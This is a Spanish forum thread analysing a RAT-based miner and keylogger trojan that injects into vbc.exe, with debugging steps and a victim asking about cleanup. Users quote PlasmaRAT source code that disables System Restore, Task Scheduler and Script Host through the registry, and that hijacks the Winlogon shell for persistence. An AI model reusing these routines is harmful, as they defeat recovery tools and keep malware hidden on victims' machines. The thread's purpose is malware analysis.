Troyano minador

Estoy haciendo progresos con el dumpeo del vbc.exe, os pongo un poco en situación:

Mi objetivo ahora es reventar la parte del keylogger, ver si la info la envía por internet a "alguien", saber quien es y todas esas cosas guays del CSI. Hemos empezado atacando el momento de la inyección y la shellcode, pero al menos yo, me he dado contra un muro. Bueeeno no pasa nada, cambiemos el punto de enfoque y empecemos de nuevo:

Ejecuto el bicho, espero a que el proceso vbc.exe entre en ejecución. Listo los handles abiertos para detectar realmente que el keylogger está escribiendo en el TXT:

Le toca el turno a mi querido ProcessMonitor, con un par de filtros consigo sniffar las operaciones de tipo WRITEFILE del proceso VBC. Encima nos chiva el thread-id responsable de dicha tarea:

Le toca el turno al chulito de x64dbg, le meto un attach al proceso vbc.exe y listo los hilos, busco el hilo que hemos capturado en el paso anterior y se produce la magia:

Analizo brevemente el código, veo una llamada inusual al registro EDX, la examino en step-into y mirad lo que me encuentro:

Strings y código propio del virus, inyectado en la memoria del proceso legítimo vbc.exe.

Pues ya estoy dónde quería estar, olvidando el tema de la shellcode y atacando el problema desde otro punto de vista: handles, threads y debugging. Ahora toca hacerme un café doble y empezar a debuggar el código ensamblador a manita. Estaré por aquí hasta que se me cierren los ojos del aburrimiento.

Espero que se haya entendido, si no preguntad cualquier duda.

#217 Guay!, has dicho una cosa muy interesante... La mayoría de keyloggers meten el hook al teclado de malas maneras, provocando que las tildes no se puedan escribir bien. Es una forma muy fácil de saber si tenemos un keylogger en el sistema.

#219 Esa función es algo diferente... lo que hace es que si detecta que has abierto el taskmanager... el bicho se cierra (muere). Esto lo hace para evitar que lo puedas ver en la lista de procesos.

Imagina; tienes un EXE ejecutándose y chupando CPU... notas qque algo va lento... abres el taskmanager y el puto EXE se cierra para que no le pilles. Pues eso justo hace esa función. Lo saqué también desde el source original del virus: https://github.com/mwsrc/PlasmaRAT/blob/master/Stub/Misc/Miner.vb

Líneas de la 13 a la 15. En la línea 55 y 56 tienes la inyección en vbc.exe

Si, el minning lo hace el systeminfo.exe que todavía no he llegado.

#218 Investigando un poco con mis nulos conocimientos de este tema llegué a ver que era por lo de la tilde, y a partir de ahi creí haberlo solucionado. Pero claro, ahora viendo este tema veo que por una lado estaba lo de la CPU ese minador, y por otro el keylogger.

En mi caso por lo que veo, el minador no me afecta, pero esa famosa carpeta que no se puede borrar en ProgramData sigue ahi, y no tengo en propiedades/seguridad/avanzado nada de "deny"...

Tengo en mente darle un formateo a todo el equipo un día de estos por mantenimiento, pero hasta entonces, puedo borrar eso de alguna forma y quedarme más tranquilo? xD

Coño, pero si el codigo precísamente del PlasmaRat lo tiene TODO:

Hay una funcion que sistematicamente se repite:

TalktoChannel(...)

Creo que si encontramos la referencia de dicha en su definición primaria, encontraremos con "quien habla el script".

#224 Exacto xD, yo creo que estamos delante de una variante de ese source... puedes inyectar en mil procesos y es raro que 2 bichos inyecten sobre vbc.exe, está claro que el script está basado en el source de ese RAT. Además viene con los modulos de minero y keylogger. Blanco y en botella

#225 Sin problemas, ya me mandas un MP

#226 Mira:

Module Disablers
    Public Sub Disable()
        On Error Resume Next
        My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "ShowSuperHidden", "0", Microsoft.Win32.RegistryValueKind.DWord)
        If IsAdmin() Then
            My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows Script Host\Settings", "REG_DWORD", "1", Microsoft.Win32.RegistryValueKind.DWord)
            My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Schedule", "Start", "4", Microsoft.Win32.RegistryValueKind.DWord)
            My.Computer.Registry.SetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRestore", "DisableSR", "1", Microsoft.Win32.RegistryValueKind.DWord)

    End If
End Sub
End Module

Que hijos de puta...
Este puto RAt es una mina de aprendizaje! xDDD

Contiene TODO lo que un chico de barrio debe conocer... juasjuas.

#229 Pero tu has visto esto:

https://github.com/mwsrc/PlasmaRAT/blob/master/Stub/Misc/Antis.vb

xDDDDDDD
Ándate con ojo... xD

Public Sub AntisFound()
        On Error Resume Next
        WhatToRun = ""
        Dim Fuckyou As RegistryKey
        Fuckyou = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows NT\CurrentVersion\Winlogon\", True)
        Fuckyou.SetValue("shell", "explorer.exe," & """" & Application.ExecutablePath & """")
        Fuckyou.Close()
    End Sub

GENIAL! xDDD

Dime que para la versión del bicho que estas detonando, no te afecta...

#233 nop, solo con extensiones vbe